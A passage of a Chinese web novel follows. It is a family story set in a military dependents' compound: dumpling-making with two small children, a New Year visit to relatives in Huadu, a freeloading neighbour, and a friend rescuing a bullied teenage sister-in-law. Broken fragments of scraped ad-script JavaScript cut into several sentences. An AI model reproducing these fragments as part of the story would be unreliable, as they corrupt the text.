冉文霜莫名觉得好笑:“你可得保持你人狠话不多的形象,说多错多,我好不容易营造的形象,不能叫你说秃噜嘴给毁了。” 谢衡也笑笑:“不会毁掉你形象的。” 聊到这里,冉文霜去喊芍芍,问芍芍想不想来“包包子”。 小朋友昨天就惦记包包子,今天晚上可以实现心愿了。 芍芍听到,都不带犹豫的,让妈妈帮自己穿鞋子,她要包! 小朋友们晚上是不可能跑出去玩了,冉文霜给他们套上好穿的小棉鞋。 小棉鞋是旧棉鞋,快被穿成棉拖了,不太适合出门。 在家里穿着正好,舒服点。 升升也要包。 包之前,冉文霜让两个小朋友摘下手套,先洗手,手洗干净了才能包。 小朋友们洗好手。 冉文霜擀好饺子皮给他们包。 升升学着爸爸的包法包饺子,芍芍则是开始自由创作。 冉文霜擀了几张饺子皮备用后,去烧水了。 火烧起来,她再回来一看,芍芍还在折腾她给的第一张饺子皮。 升升已经开始包第二个饺子了。 升升第一个饺子没有多成功,饺子馅看着就不多,是干瘪版饺子。 “妈妈,好了!”芍芍拎起包子给妈妈看。 好嘛,比哥哥包的第一个饺子还干瘪,煮出来就是一张皮。 孩子包得不是很好看,冉文霜仍以夸奖为主,夸奖芍芍动手能力强。 差不多包完一家四口吃的水饺量后,冉文霜去煮饺子,谢衡则是继续包饺子,包好放到外面的“天然冰箱”里,明天再取出来吃。 “芍芍升升快 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 躲到火洞旁边。”剩下的面团都用完了,冉文霜交代孩子们。 爸爸要将饺子和没用完的馅放到外面的冰箱里。 外面的冰箱不是电器,就是自家做的箱子,用来冷冻肉类。 两个小朋友听到,立马挤到灶台火洞旁的墙角。 外面在下雪刮风,门一打开,立马有冷风涌进来。 冉文霜正在搅拌饺子,防止粘锅,不防被冷风冻得一哆嗦。 谢衡没在外面久留,食物都放好后进来屋子,很快将门关上,重新给门缝贴上“封条”。 夜晚温度更低,家里各种缝隙必须堵住了,不然冷风能冻死人。 升升喊着脚冷,芍芍也学哥哥的话说脚冷。 小朋友们想回炕上了。 “好好,你们先回炕上,爸爸收拾一下炕,晚上就待炕上吃饺子。” 但愿孩子们回老家能习惯家里的床,最重要的是不能在床上吃东西。 饺子煮好后分成两盆,一盆干捞,一盆带汤,带汤用的大盆。 谢衡把两盆一起端进里屋,冉文霜则是简单收拾厨房,将蘸料和煤油灯一起带进去。 里屋有两盏煤油灯了,亮堂不少。 外面风雪呼啸,一家四口待在炕上吃饺子,有别样的温馨感。 两个小朋友的作品都在干捞盆里。 冉文霜把他们的作品夹出来,放到他们蘸料碗里。 芍芍的蘸料碗最清淡,只有一点醋和酱油。 她调的馅味道够足,不用蘸料也行。 芍芍看着皮,非说不是自己做的。 煮后真的就剩张不太平整的饺子皮了。 “是芍芍包的,你看看哥哥的,再看看爸爸妈妈包的,不是都变了吗?芍芍觉得难看吗?妈妈觉得很好看呢。” 芍芍:“肉肉。” “好,妈妈给你夹一只胖饺子,吃完胖饺子再吃自己包的。”短短两个字,冉文霜就明白闺女是想表达什么了。 她从干捞饺子的小盆里夹了个饱满的胖饺子给芍芍。 小朋友果然是满意了,专注吃胖饺子。 冉文霜:“先把干捞的吃完,干捞的凉得快。” 12. 第 12 章 爸爸消灭饺子的速度实在惊人。 芍芍吃完一个饺子的时间,爸爸能吃掉五个饺子。 芍芍小朋友本来专注吃自己的饺子,看爸爸吃那么快,不由着急起来。 她没阻止爸爸吃饺子,而是让妈妈喂她吃饺子。 妈妈喂她,她吃饺子的速度就快了。 这是芍芍自己想的,实际上让妈妈喂吃饺子,比她自己吃还慢。 因为妈妈主张细嚼慢咽,给她吃的饺子会先用勺子分成几小份,一点一点喂她吃。 冉文霜看出女儿的着急,想了个办法:“这盆饺子都给芍芍吃,芍芍不太会用筷子和勺子,今天是正月初一,妈妈就破例让你用手抓着吃。” 干捞饺子就剩四个了,她把整个小盆都放到女儿面前。 妈妈把整个小盆都放在芍芍面前的行为,显然取得了芍芍的欢心,都不管爸爸消灭饺子的速度有多快了。 芍芍伸手抓起饺子吃,美滋滋。 升升并没有学妹妹的意思,他筷子勺子都用的比妹妹好,已经没法接受用手抓饭吃了,抓小零食吃没事,抓主食就不行了。 不管哥哥怎么想,芍芍现在觉得自己吃饺子速度和爸爸有的一拼,心里得意洋洋。 ... “所以你大名叫谢勺子?” 芍芍反驳:“不系!我叫谢怡冉!我妈妈叫冉双双,我哥哥叫谢新冉,我爸爸叫谢哼哼。” 跟着爸爸妈妈回到华都的第二天。 芍芍暂时没法认出姥姥和姥爷以外的人,不知道眼前的大人是谁,但能听懂她的话。 能认出姥姥和姥爷是因为他们全家住在姥姥和姥爷家。 关键是姥姥和姥爷对她很好! “那你小名为什么叫勺子?” “不系勺子,系芍芍!芍药!芍药杏子,苹果!”芍芍把能记住的都说出来了。 实际上冉文霜说的是,性平味苦。 据《神农本草经》记载,芍药味苦,性平。 芍药有白芍赤芍之分,根据炮制方法不同,效用也不同,细说的话,药性应属微寒。 芍芍哪懂那么多,冉文霜就简单提了这么几个字。 没指望孩子能听懂的。 “天啊,你才这么小就懂那么多啦?” 听到这话,芍芍昂起小脑袋,一副得意的小表情。 待对方问起杏子苹果什么意思的时候,芍芍搬救兵,去抱住妈妈的腿。 她没吃过杏子和苹果,不知道,不知道。 冉文霜在厨房里帮忙,都听到女儿说的话了。 “阿姨,你别逗芍芍了,芍芍,她是姨姥姥,喊一声姨姥姥。”冉文霜向女儿介绍起站在厨房门口的阿姨。 阿姨以为芍是勺子的勺也不算错,古代“芍药”通“勺药”。 芍芍看向姨姥姥,喊了声姨姥姥后,又把脸埋回妈妈身上。 明显是怕了这个问东问西的姨姥姥。 冉文霜正在切肉丝,女儿打过招呼后,她教女儿:“妈妈叫冉文霜,爸爸叫谢衡,不是谢哼哼。” 她有认真教过芍芍,她自己和哥哥的大名,以后有机会一起去幼儿园,哥哥大班,妹妹小班,要是芍芍想去找哥哥,也能跟老师说哥哥的大名。 认真教过哥哥的名字,肯定也教过爸爸妈妈的名字,只是没哥哥强调得多,主要担心女儿现在不太会说话,强调爸爸妈妈叫什么名字之后,以后直呼大名了。 要等孩子长大些,读了幼儿园后,再认真教。 爸爸妈妈名字是一定要记住的,不是现在而已。 没成想不强调的结果是被女儿记得乱七八糟。 好消息是爸爸不在家,带着哥哥出去买东西了。 坏消息是姨姥姥在,姨姥姥在,待会儿就能把芍芍为爸爸取的“大名”告诉爸爸了。 女儿发哼哼音的时候,还不是正常发音,很像是小猪哼哼叫。 谢衡的发音对芍芍来说太难了,妈妈教妈妈的,她听不听是她的事。 阿姨问冉文霜,怎么想到给女儿取这么个小名,她知道外甥女学过中药,是想问那么多药,为什么选了芍药。 冉文霜答:“是芍芍自己选的,抓小纸条抓出芍药,升升不是人参的参,是冉冉升起的升。” 解释芍芍小名由来的同时,顺便解释升升的。 几年没见,她的阿姨还是乐观不减,说明这些年过得不算很糟糕。 “我寄几选哒!”芍芍把妈妈这句话听进去了,朝着姨姥姥说了一句就又把脸埋回妈妈身上。 “我是不是招小孩子嫌弃了?” 阿姨还算有自知之明,冉文霜回阿姨:“只是芍芍恼怒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,小孩子脾气来得快去得快,阿姨,你只要多夸她,不跟她唱反调,不要问她答不上的问题就行。” 冉文霜爸妈从外面回来,芍芍见到姥姥和姥爷,就不待在妈妈身边了,去缠着姥姥和姥爷。 小朋友发现在姥爷姥姥身边可以“无法无天”,不到两天时间就喜欢待在姥姥和姥爷身边。 妈妈都拿她没办法啦。 冉文霜是不会让女儿无法无天的,女儿的行为在自己接受范围内,她不会说什么,要是不能接受,就算姥姥和姥爷再溺爱,她这个亲妈都会出手。 有姥姥和姥爷在,芍芍都有底气面对姨姥姥了。 因为姥姥真的会站她这边,帮她指责姨姥姥总爱逗小孩的坏毛病! ... 谢衡知道自己大名叫“谢哼哼”的时候,没有生气,反而觉得自家闺女可爱。 或许是因为女儿长得像小时候的妻子,他实在没法生气。 而且这也不是值得生气的事情。 冉文霜不意外丈夫的态度。 他肯定不如孩子姥爷姥姥那般溺爱孩子,但是对待孩子也有比较足的耐心,哼哼不是侮辱性词汇,他完全不会放心上。 小老师升升就听不得妹妹误以为爸爸叫谢哼哼这件事了,纠正妹妹的发音,爸爸叫谢衡,不叫谢哼哼。 比起爸爸,芍芍更怕小老师状态的哥哥,费力学了几遍,终于把谢衡两个字念到哥哥勉强满意了,念完立马跑到姥姥身边。 她不要学啦! 今天中午过来了几个亲戚,都没说几句话就给升升芍芍红包,升升还知道推拒,芍芍很干脆接了,说过谢谢后就抱着妈妈的腿。 “芍芍,不要以为耍赖就能把红包收到自己兜里,快给妈妈。”冉文霜才说出口,芍芍就去抱姥姥的腿了。 姥姥是一如既往溺爱外孙女。 这事在冉文霜接受范围外,真没办法让女儿轻易躲过去。 她得看看女儿小手里攥着的红包有多少钱,必须按照人情送还回去。 冉文霜蹲下来看着女儿:“你不给妈妈,妈妈生气了。” 没见过妈妈生气样子的芍芍,听到生气两个字,顿时不敢闹腾了,老实将几个红包交到妈妈手里。 拿到红包了,冉文霜告诉女儿:“妈妈会还给你的,回去家属院就还你。” 13. 第 13 章 妈妈说会还,芍芍彻底安心了。 升升见状,把自己推拒不了的红包统统交给妈妈。 他还是很自觉的。 谁叫他比妹妹多认识妈妈两年,也比妹妹更清楚妈妈的性格。 红包都到自己手里了,冉文霜不得不说几句溺爱孩子的姥爷姥姥。 不能这样惯着小孩的! 看他们笑眯眯的表情,明显听不进去。 冉文霜不给自己增添烦心事了,先吃饭。 某种程度上,她回到家轻松了不少,孩子有老公和爸妈带着,饭菜都不需要她烧,爸妈说她好久没吃到他们的手艺,他们做饭菜给她吃。 她没法心安理得大吃大喝什么事情都不做,会帮忙打下手,在他们做饭菜前,提前煮饭,提前切菜切肉备好食材。 开始吃午饭了,芍芍主动坐在姥姥和姥爷中间,她自己吃饭比较慢,姥姥和姥爷喂到她嘴里的饭菜,她是毫不拒绝。 冉文霜看在眼里,仿佛看到小半个月以后,女儿更加胖嘟嘟的脸蛋了。 ... 在娘家的几天,冉文霜帮米粒送了信和礼品。 老师这边,她亲自登门拜访。 老师提议让她和米粒一样,学习培训后去当医生,生活会轻松很多,他认为米粒都能做到的事情,她会比米粒做得更好。 冉文霜闻言只是摇头,她不瞒老师,只说按现在的教学培训方式,救人无异于害人。 不是在嘲讽米粒学艺不精,米粒已经做得很好了。 她是说现在的大环境,现在的年轻医生,学习得还不够。 再者,她学中药不是为了当医生,想当医生的话,当年就不会学选中药这样“冷门”的专业了。 她宁愿待在家属院参加体力劳动,也不去惦记轻松很多的卫生所工作,说明志向确实不在当医生上,老师不再多劝。 待在华都的最后两天,冉文霜离开娘家,带着丈夫孩子去公婆家住。 今年元宵就在公婆家过了。 爷爷奶奶对两个孩子的溺爱程度不输给姥姥和姥爷。 升升和在姥爷姥姥家一样,意志坚定,芍芍也一样,毫无意志,给什么拿什么。 连吃带拿的,行李竟是比来时更沉。 小朋友也是,体重比来时更沉。 回去前,冉文霜给女儿称了体重。 在华都穿的衣服比在家属院穿的少,芍芍体重却比在家属院期间重两斤。 别说孩子在长身体了,小半个月长两斤合理吗? 还没算上少穿的衣服的重量! “芍芍,你是一个不到三岁的宝宝。”冉文霜看着女儿一脸天真,完全不知道体重上涨多少的表情,只说了这么句话。 就算告诉孩子,孩子也没多少概念。 所幸回到家属院,没有长辈们为孩子攒的食物,孩子体重会慢慢掉回去。 孩子听不懂,孩子爸爸能听懂,冉文霜对孩子爸爸说:“两斤放在大人身上不算太夸张,放在那么小的孩子身上,不得了了。” “只要回到家属院,很快能回归正常体重。”他们一家很快要启程回家了。 冉文霜摸摸子女的头发,轻轻叹气。 到了回去的时间。 一家人赶半天路,终于在下午到达家属院。 外面仍是白茫茫一片,不见人影。 没人会在这么冷的天气闲逛。 回到家,冉文霜都没先收拾行李,按照约定把红包还给两个孩子。 她和丈夫两家亲戚都给了孩子们压岁钱,有些把钱塞红包里,有些直接给钱,她把零散的钱都放进红包里,几个红包上写了小朋友的名字。 “这几个是升升的红包,上面写了谢新冉,这几个是芍芍的红包,上面写了谢怡冉,你们可以自己保管,也可以让妈妈保管,想用的时候找妈妈要。 自己保管,弄丢可别找妈妈要,妈妈也不知道掉哪去了,没法帮你们补红包的。”她到底没能抵住妈妈的“本能”。 不想那么小的孩子保管压岁钱。 掉一分钱她都会心疼。 老话不是说“一粥一饭,当思来之不易”。 确实来之不易。 升升留了最薄的一个红包,剩下的交给妈妈保管。 芍芍是学哥哥精,学哥哥让妈妈保管,她挑红包的标准不是薄厚,是完好度,哪个红包没有折损,她就选哪个。 多多少少都有点折损,她最后选了相对完好的一个。 如果小朋友们够细心,会发现红包小角落标了数字,代表里面是多少钱。 芍芍拿了两毛钱的,升升选的最薄,里面反而是最多的,有一块钱。 对这个结果,冉文霜还算满意,将剩下的红包锁好,去整理行李了。 先把给米粒带的东西整理出来。 要送给关系不错的家属们的土特产,也整理出来。 米粒这些东西她没花一分钱,都是她家人托他们带来的,还给廉医生准备了一份,当是廉医生照顾他们女 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 儿的谢礼。 既然廉医生的份都准备了,她就没必要专门送到米粒的住处,拿到卫生所交给她们就行了。 现在已经过完年了,两个医生会在卫生所待着,去她们家里可能见不着人,去卫生所九成能见着人。 医生在卫生所,家属们就不好说了,有可能在家,有可能外出干活,送给她们的,等她们来她家,或者她出门碰到她们再给。 送人的东西都整理出来了,冉文霜先去卫生所送东西。 两个孩子好奇想跟着去,她让他们在家歇着,妈妈很快回来。 小朋友们没提行李也很累,妈妈不让他们去,他们就不去了,缠着爸爸铺被褥。 因为气温太低,炕不能断烧,所以夫妻俩不在的日子里,冉文霜托常巧芬帮她烧炕,现在炕还是暖和的。 谢衡行动力强,没有拖延:“爸爸先清理一下炕,清理完就把床褥铺上去。” ... 送完东西回到家,冉文霜第一句话就是:“阿衡,辛苦你了……我们到底哪来那么多东西。” 这趟回家,丈夫的行军背囊都用上了。 背囊装得满满鼓鼓,她都没法一下子提起来,丈夫不光要背着行军背囊,两手还得提着编织袋。 这趟出门,她主要负责带两个孩子,不让孩子们乱跑,行李几乎都是丈夫来搬。 谢衡没抱怨:“还行,我到底是个男人,力气比较大。” “晚上给你按摩,我先把行李都收拾完。” “好,我去给炕洞添柴。” 夫妻俩分工合作,总算在吃晚饭前收拾完行李。 他们吃晚饭的时候,常巧芬过来了:“我瞧着你家窗户有点光,又不是很确定,来看看是不是你们一家人回来了。” 住在这个地方的人,都会在家里窗户上贴纸,有纸的遮挡,再加上煤油灯不是很明亮,所以常巧芬隐约看到灯光,不太确定是不是看错了。 冉文霜:“是我们一家人回来了,这些拿上,给你们家的。” “太多了,给我们家一半就行,剩下你们自家吃。”常巧芬没立刻接受。 “拿好,这阵子你帮我烧炕实在辛苦了,要是嫌多,下次你回家,给我多带几张芝麻大饼回来,我爱吃那个大饼,我家孩子也爱吃。” 常巧芬没再推拒:“烧炕的报酬不是在你们出发前就给我了……行,下次多给你带几张,你快去吃饭吧,小心饭菜冷了,我也要回家吃饭了。” “好的,路上小心。” 14. 第 14 章 在华都有华都的乐趣,在现在这个小家有现在这个小家的乐趣。 小朋友们想念极了暖和的被褥,吃完就躺被褥上了。 这回不用妈妈念叨刚吃完饭不能立刻打滚了。 他们今天不打滚。 今天太累,直接躺下来,翻身都不想翻。 就连妈妈给爸爸按摩的时候,小朋友们都没有想要让妈妈给自己按摩的意思。 一是懒得动弹,二是觉得妈妈下死劲了。 虽说爸爸不吭声,没一点反应,他们光看就觉得很疼,不知道妈妈为什么要用力掐爸爸,他们全当没看见。 妈妈这么做,一定有妈妈的道理。 冉文霜不可能让丈夫脱掉所有衣服,只穿薄薄的一件衣服也不行。 加之按摩不是越大力越好,看个人体质,丈夫的情况,她需要稍微使点力气。 按了几分钟,她甚至感觉有点热,快冒汗了。 冉文霜注意到孩子们安静得不像话,余光去看他们,发现小朋友们都醒着,只是没看爸爸妈妈。 意识到自己的行为可能属于暴力了,冉文霜不得不和两个小朋友解释妈妈在做什么。 妈妈在帮爸爸活血化瘀,不是在揍爸爸! 她说了不少按摩的作用,两个小朋友依旧没怎么说话,也没有试试的想法。 冉文霜认命了,不再解释,只要小朋友们知道:“妈妈不是在欺负爸爸,你们千万别误会了。” 谢衡脸上露出笑意,因为是趴着,没有被冉文霜看见。 妈妈没看见,升升刚好转头看见了:“妈妈没欺负爸爸,爸爸笑。” 妈妈没欺负爸爸,因为爸爸笑了。 哪有被欺负的人会笑。 冉文霜将手伸向丈夫的耳朵,捏了一下:“有什么好笑的。” 说完专心按摩,不再分心了。 ... “那个新来的蝗虫家属是不是来过你家了?”常巧芬赶在春耕前带着老公孩子回了趟家,刚回来,第一时间掌握到了新家属的消息。 如果让大家给容易被打秋风的家属排个顺序。 最容易被打秋风的就是唐红娇了,其次是冉文霜。 她已经听说唐红娇被顺走了半碗麦乳精和一把糖。 可怕的是对方“先礼后兵”。 上门之前拿颗白菜或者萝卜,说是来拜访的,在你拿点东西回礼送走对方之前,对方会在你家厨房摸一遍,看到糖就说好久没吃糖了,甜滋滋的真让人嘴馋。 心理素质不够强的家属会直接给。 心理素质够强的不理会,没有主动给的意思,她会主动拿。 要点脸面的可能随她拿走了……心理素质还是不够强,够强立马拿回来了。 常巧芬一回家,关系要好的家属就让她赶紧把家里厨房吃的藏起来,白糖红糖都藏起来,不要放厨房里。 “是来过我家了,不过我厨房正好没什么东西,她喝了我煮的红豆汤。”冉文霜将芝麻大饼掰开,自己和孩子分吃一个大饼。 经常吃大饼对腮帮子不好,偶尔吃吃还是很香的。 巧芬说到做到,给她带了几张大饼。 小朋友们在家就没吃过妈妈做的饼,常阿姨送的饼,对他们来说实在太香了。 常巧芬:“你仔细把你那天的经历说给我听听。” 每家经历大差不差,不过根据家属性格不同,细节发展也各有不同。 冉文霜暂时不吃大饼了,先说事情:“是这样的,我那天下午干完活接孩子回家,打算把温在煤炉子上的红豆汤喝了,喝汤前和两个孩子说话,正说着话,她就提了一颗大白菜过来,以为我砂锅里有东西,问我能打开看吗? 我说可以的,里面是红豆汤。” “她后面立刻接一句,她能不能喝?”常巧芬已经能想到后续发展了。 她喝过冉文霜煮的汤,不是配饭喝的咸汤,是那种奇奇怪怪的汤,冉文霜说只要能吃的食材应该就能煮,自己瞎煮的汤。 味道…… 反正她喝完觉得家里每天喝的酸菜汤都美味起来了。 “差不多,我给她喝了,她说我是不是耍人,砂锅里放的其实是刷锅水,我说哪有那么好的刷锅水,里面是实实在在的红豆,没加糖而已。”她当时心里是有点生气。 这位家属属实冒犯人。 真是失礼! 她的红豆汤,更准确说是赤小豆汤,放在砂锅煮之前,是经过她炒制的,煮之前在水里泡了半天。 赤小豆能入药,属于中药材,和红豆不同。 她们常识中的红豆确实适合煮甜汤,赤小豆就不那么适合煮甜汤。 或许不如红豆受欢迎,但是也不能说煮出来的是刷锅水吧! 她家男人早上还喝了一碗出门,她会给自家男人喝刷锅水吗? “然后她问你,你家是不是没糖了?” “是的,我家没糖,厨房里白糖红糖糖精都没有,已经用完了,我想着天气暖和起来,出门不麻烦了,需要就去供销社买,也方便的。 她去翻我家厨柜,厨柜是我放碗盆餐具的地方,没有吃的。 我不太喜欢把食物放在木制柜子里,外面的木制冰箱除外,因为放外面冷冻着,食物不容易坏。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 厨房有放在灶台上的酱油、盐,她来的是正好了,剩下蔬菜只够吃一天了,我正打算第二天去地窖里拿接下来一周要吃的菜,她看不上我剩下的白菜和萝卜。 确定厨房没东西,又要看我家外面的冰箱,我打开给她看了,只剩一块两斤重的猪肉。 她说她好久没吃猪肉,很馋这一口,我说你去买好了,现在家属院食品站正常营业,拿着钱和肉票去就能买到。” “她接下来是不是要明抢了?”常巧芬认真听着。 冉文霜把属于自己的这块芝麻饼掰了一半给常巧芬,让她边吃边听:“她问我能不能分她一半,她手头没肉票,钱一定会给,过几天给我。” 常巧芬吃着饼,再问:“你给了?” “没给,肉还是太精贵了,我舍不得给,一家人每天都要吃点肉的,给了一半就少吃几天,所以在她上手前,我先把柜子锁回去了。”猪羊牛肉都精贵,即使是在家属眼里大方的她,也不舍得给出去。 家里没客人的时候,她每天都会割一小块下来,拿到厨房里切成肉丝加进菜里。 家里有客人,她会多割一些。 那位家属在她眼里不算客人。 她早在干活的时候从其他家属听来她的“事迹”了。 每天下午提着个篮子,拿颗白菜或者萝卜,挨家挨户摸过去。 不是一天一家,是一天几家。 篮子上盖了块布,里面其实是装了从其他家属家里拿来的“战利品”。 有这种效率,做什么事情不成功呢? 非要去做投机取巧的事。 “所以在你这什么都没捞着吧,带一肚子气回去。” “嗯,是一肚子气,猪肉拿不到,想进我家里屋,升升大概感觉到她是来做什么的了,不让她进里屋,芍芍学哥哥,一起拦着不让她进,两个孩子抗拒她进去,我也只好送客了。” 升升可能怕自己的红包被拿走,芍芍属于什么都不明白,哥哥拦着,她就学哥哥。 常巧芬夸小朋友们:“升升芍芍太棒了!” 升升正在和妹妹一起吃饼,没认真听妈妈和阿姨说什么,被常阿姨夸了,腼腆一笑,说了声谢谢阿姨后,继续啃大饼。 芍芍不明所以,被夸了也是谢谢阿姨,然后接着啃她的大饼。 关于那天的事情,妈妈不知道,升升想的是,妈妈煮的汤再难喝,也不能被说成刷锅水,那个大人实在太没礼貌了! 从刷锅水开始,升升就在观察了,发现对方确实不是好人,于是在她想进里屋的时候,立马拦住了。 小朋友的感觉没错,确实不是好人。 15. 第 15 章 孩子们拦着不让进里屋后就是结局了。 冉文霜说起结局:“她最后带着那颗蔫掉的大白菜走了。” 芍芍很讨厌吃大白菜,见大白菜走了,别提多开心。 要不是隐约意识到对方是坏人,可能会让她把家里白菜一起带走。 然后嚷嚷一句,坏人一辈子只能吃大白菜! 大白菜罪不至此。 常巧芬无语:“好家伙,蔫掉的白菜都不舍得给你,喝了你的红豆汤,回去还要蛐蛐你小气。” 文霜真的不小气,是家属院里比较大方的人了。 冉文霜不是很介意:“幸好只是分了她半碗,她没喝完就走了,我也只能把这半碗汤倒掉,确实浪费了一点,但是我和她无亲无故的,不可能喝她剩下的汤,只能浪费了。 至于她对别人说我小气,没几个人会放心上。” 她自己都不会放在心上。 现在能有几个家属愿意听“蝗虫”蛐蛐? 如今已是人人喊打了。 “是啊,你的名声没臭,她的名声倒是臭不可闻了。 居然还敢叫黄糕,叫蝗虫才差不多。 同样是食物名字,小岑医生就好听很多了,也不知道她打秋风有没有打到卫生所去。”常巧芬记得小岑医生的名字,叫岑米粒。 真是好名字,她怎么没想到给孩子取那么好听的名字。 在物质匮乏的年代,这种名字真是又可爱又好听。 常巧芬回家前,黄糕已经来到家属院了。 她当时和她聊过,没察觉到这个人有什么问题。 原来黄糕刚到家属院,表现得很正常,是向她们套话,套到哪些家属是极不好相处,最好别来往的。 你要说哪些家属好相处,那可多了,数不过来。 毕竟男人们在一个部队,正常一点的人都不会做出得罪其他家属的事,谁知道会不会连累自家男人。 有脾气的会收着,大家看着都好说话,好相处。 正常家属会收着,不正常的什么都不在乎,不在乎男人会不会受牵连,只在乎自己的感受,她们或尖酸刻薄,或脾气古怪,总之很难相处。 比如爱骂小孩的雷韵,她就很不好相处,没什么家属愿意搭理她。 这类人遇到现在的黄糕,根本不会让她进家门,翻个白眼就把门关上了。 正常家属太多了,所以她是有小聪明的,去套话哪些家属不好相处。 记住后排除这几家,剩下的,就等着她挨家挨户“搜刮”。 太正常不过的问话,谁能想到需要防备呢。 冉文霜:“打去了,说家里人一堆毛病,想讨点药吃吃,被廉医生批评一顿,什么药都敢乱吃,不要命了?” 家属院卫生所,家属看病不要钱。 廉医生资历深,比米粒更像医生,她谁都敢骂,不在乎是否得罪哪个家属。 正常时候不会骂人,是气到无语才骂的。 上一个骂的是毫无常识,得病了自己在家瞎折腾“土办法”,导致病情加重的家属。 “土办法”不是完全没用,有些真的劳动人民的智慧结晶。 有些……好脾气如冉文霜,都在心里骂一句愚昧。 黄糕能让廉医生大发雷霆,绝对不只是简单讨药,估计说了不少让廉医生生气的话。 米粒对黄糕的言行很无语,正好碰见她了,和她说了黄糕打秋风打到卫生所的事,让她以后少靠近黄糕。 黄糕是不是觉得全世界的东西都属于她呢? 常巧芬:“快说她是来家属院讨饭的,什么人啊,连药都要讨……所以她真不是乞丐冒充军人家属?” “确实是家属,不过我没打听她家男人品行如何,我上次这么落她面子,她应该不会很想再来我家了。”她半点没有愧疚的意思。 她没大家想的那么好。 要她说,唐红娇才是真的好脾气。 “你别把这种人脸皮想太薄了,等你菜园子种上菜了,就来你家菜园子偷菜,你记得让谢营把围栏打高点。”快要到春耕了,在春耕前可以打理自家后面的小菜园子。 冉文霜是家属里最会打理菜园子的人了,小小一片菜园子,硬是让她种了不下五种蔬菜。 这方面冉文霜不敢自称专家,只是把能盆栽的菜都用盆栽,盆放在菜园子里而已。 所以她的菜园子看起来很丰富,不少家属来“抄答案”。 比较仔细耐心的家属能种出差不多的菜园子,稍微粗心点的家属就会差点,不过也不会很差,比自己稀稀拉拉种点萝卜青菜要好很多。 “好,我记得让他加固加高,到时候可以种点爬藤菜。”想要种爬藤植物,那不只是简单加高了,要搭架子。 幸好丈夫动手能力强,经她说明,他知道该怎么做。 说完黄糕的事,该冉文霜问了:“翠玉的事怎么样了?” “翠玉啊,我真不能指望她亲哥,要脑子有力气……只有力气了,最后还得我拉着她大哥打探消息,在她学校附近踩点,蹲她的同班同学。 因为她大哥在旁边望风,我们选中的目标同学差点以为自己犯事了。”常巧芬说到这里,还觉得好笑。 笑过以后继续讲正事。 蹲到个一看就老实胆小的同学,她问她有关小姑子的事情。 大概是被她家男人军装和现役军人的气质震慑住了,小姑娘老实说了小玉在班里的情况。 确实有同学欺负她。 小玉本人脾气比较硬,不是被欺负就忍气吞声的人,对方人多势众,小玉势单力薄,谁输谁赢很明显了……后面传出小玉和一个老男人要结婚的事。 不光传结婚,还传小玉怀孕。 小玉被班主任找去谈话。 被他们夫妻蹲到的小姑娘不确定谈话内容是什么,只知道小玉在班里都不说话了。 原来要好的朋友也被她主动疏远。 常巧芬留心问了句小玉的成绩。 小姑娘回答挺好的,一直都在班级前十,上个学期有掉过,这个学期不知道怎么,又捡回来了。 她这个学期竟然来学校读书,同学们都挺诧异的。 以为她肚子大到要退学生小孩了。 冉文霜想到小玉是在寒假离家出走,目的地还是家属院。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 说明小玉理智尚在,只是想冷静一下,远离纷扰。 她没记错的话,巧芬提过她随军前,小玉帮她打扫卫生做家务,她就从不对小玉啰里啰嗦,还会给小玉一点零嘴吃。 反正那会儿巧芬在小玉心里是善良大方的大嫂,两人是能跳过大哥,互称姐妹的。 巧芬承认自己话多。 话多,但脑子清醒,知道不能得罪小姑子,不能说小姑子不爱听的话。 说多错多,小姑子再不帮她干家务可怎么办? 加之她本人性格就不差,理所当然成了好大嫂。 至于大哥,可有可无。 小妹和大哥的代沟比和嫂子的代沟大多了,完全不知道怎么和大哥沟通。 正好大哥出任务,她就过来了。 冉文霜不确定是不是因为她和巧芬劝说起了点作用。 不管出于何种原因,能回学校读书是件好事。 联系小玉成绩不错这点,一切都合理起来了。 小玉并没有到大家想象中无可救药的程度,她很清楚,只是需要别人拉她一把。 拉她的人绝不是那个男人。 常巧芬不得不说:“这趟回家,看我家男人看顺眼了,他也不是一点用都没有,一身军装站在那里……军衔制不是取消了,看不出他哪种级别的,我就说已经是军官,我都能随军了。 他在家看着憨傻憨傻的,在外面蛮能吓唬人,不用他干啥,只要站我旁边吓唬人就行。 因为他在,我解决事情解决得蛮快。 领着他在学校里,当很多学生的面,把欺负小玉的同学警告训斥一番,然后迅速给小玉办理转学了。” “你太有效率了,居然直接办了转学,打听小玉成绩如何是为了更方便转学吧?”黄糕敢去卫生所打秋风的事,没让冉文霜吃惊,小玉转学的事,她吃惊了。 常巧芬为她解惑:“是的,刚好有点关系,小玉成绩不错,她哥的军人身份也帮了大忙,我们夫妻把情况说明,新学校就更愿意接纳小玉。 新学校比原来的学校更好呢,是所住宿学校,我们怕小玉再被欺负,忙前忙后跟着小玉一天,她新班级的同学差不多知道她哥是军人了。 加之小玉的身高长相,看着不好欺负,估计没人敢惹小玉了。” 小玉本来就不好欺负,那个小姑娘也讲过,小玉会反抗欺负她的同学。 “所以男人是不会再纠缠了吗?”冉文霜始终认为最危险的是那个男人。 “问小玉,小玉说已经断了,并没有发生关系,连对象都不是,一直是暧昧状态,牵扯不清。 要不说是老男人呢,心眼多得很,我追问她有没有收人家东西,她看我和她大哥忙前忙后为她教训欺负她的人,为她办理转学,就把话说明白了。 收过。 幸好收的不是多贵重的东西,我和她哥把东西买回来,找到那个男的,把那点子东西都还回去了。 我警告了他一番,小玉大哥也说了几句,让他离自家妹妹远点。 那男的小身板,我感觉都扛不住我家男人一拳头,比我想象中更矮,不知道小玉看上他哪点。” 16. 第 16 章 关于看上对方哪点,冉文霜能说得上来了:“这种时候,换个男人对小玉释放善意,做出差不多的事情,小玉也会对对方产生错觉。 十几岁的孩子哪分得清虚情假意,幸好有你这个好嫂子。” 她爸妈在她小时候就教她明事理,作为父母,他们显然是优秀的。 作为姥姥和姥爷,连及格都没有,实在太溺爱孩子! 这里先不提溺爱,小玉的事,有一部分是因为父母失职。 